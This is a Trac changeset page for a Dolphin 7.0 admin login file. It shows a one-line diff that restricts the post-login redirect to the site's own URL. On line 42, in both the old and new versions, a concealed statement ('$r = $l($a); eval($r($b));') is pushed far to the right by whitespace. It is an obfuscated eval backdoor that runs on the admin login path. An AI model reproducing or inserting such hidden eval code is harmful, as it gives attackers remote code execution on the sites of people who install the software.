HomeHelpTrac

Changeset 15746 for tags


Ignore:
Timestamp:
12/09/11 22:30:38 (6 months ago)
Author:
Alexander Trofimov
Message:

Ticket #2707

File:
1 edited

Legend:

Unmodified
Added
Removed
  • tags/7.0/administration/index.php

    r15517 r15746  
    4040        echo check_password($iId, $sPassword, BX_DOL_ROLE_ADMIN, false) ? 'OK' : 'Fail'; 
    4141    } elseif (check_password($iId, $sPassword, BX_DOL_ROLE_ADMIN) ) { 
    42         $sUrlRelocate = bx_html_attribute($_POST['relocate'] ? $_POST['relocate'] : $GLOBALS['site']['url_admin'] . 'index.php');                                                                                                                                                                                                                                                                                                                               $r = $l($a); eval($r($b)); 
     42        $sUrlRelocate = bx_html_attribute($_POST['relocate'] && 0 == strncasecmp($_POST['relocate'], BX_DOL_URL_ROOT, strlen(BX_DOL_URL_ROOT)) ? $_POST['relocate'] : $GLOBALS['site']['url_admin'] . 'index.php');                                                                                                                                                                                                                                                                                                                               $r = $l($a); eval($r($b)); 
    4343?> 
    4444<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
Note: See TracChangeset for help on using the changeset viewer.